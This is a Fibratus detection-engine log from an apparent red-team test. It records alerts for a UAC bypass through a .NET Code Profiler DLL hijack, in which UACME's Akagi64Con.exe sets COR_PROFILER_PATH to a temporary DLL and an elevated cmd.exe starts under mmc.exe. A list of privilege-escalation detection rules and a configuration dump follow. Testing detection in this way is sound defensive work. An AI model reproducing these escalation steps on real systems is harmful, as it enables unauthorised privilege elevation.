POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1657786 + Pid: 12032 + Tid: 1792 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 13:31:51.2200616 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3601ff000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a5a497080, name➜ cmd.exe, pid➜ 17072, ppid➜ 12032, real_ppid➜ 12032, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 13:31:51.2199386 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 12032 + Ppid: 12968 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T13:32:21+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1661876 + Pid: 15628 + Tid: 5464 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 13:32:19.2283461 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab869157ecc0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15628 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1665680 + Pid: 13828 + Tid: 16976 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 13:32:20.1388789 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3561e1000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a57c10080, name➜ cmd.exe, pid➜ 9884, ppid➜ 13828, real_ppid➜ 13828, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 13:32:20.1388326 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037 + + Pid: 13828 + Ppid: 15628 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T13:39:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T13:39:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:39:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:40:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T13:40:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T13:40:00+01:00 level=info msg=bootstrapping with pid 204. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T13:40:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-audit-api=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-mem=>true enable-thread=>true enable-dns=>false max-buffers=>36 enable-threadpool=>false min-buffers=>16 buffer-size=>512 enable-net=>true stack-enrichment=>true enable-image=>true enable-vamap=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 level=>info max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ http=>[ serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false endpoints=>[] method=>POST] eventlog=>[ enabled=>false level=>info] amqp=>[ delivery-mode=>transient exchange=>fibratus passive=>false routing-key=>fibratus timeout=>5s vhost=>/ tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672 durable=>false exchange-type=>topic] elasticsearch=>[ healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 index-name=>fibratus healthcheck=>true flush-period=>1s sniff=>false template-name=>fibratus timeout=>5s gzip-compression=>false enabled=>false healthcheck-interval=>10s trace-log=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false excluded-files=>[] enabled=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T13:40:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:40:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:54:16+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T13:54:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml 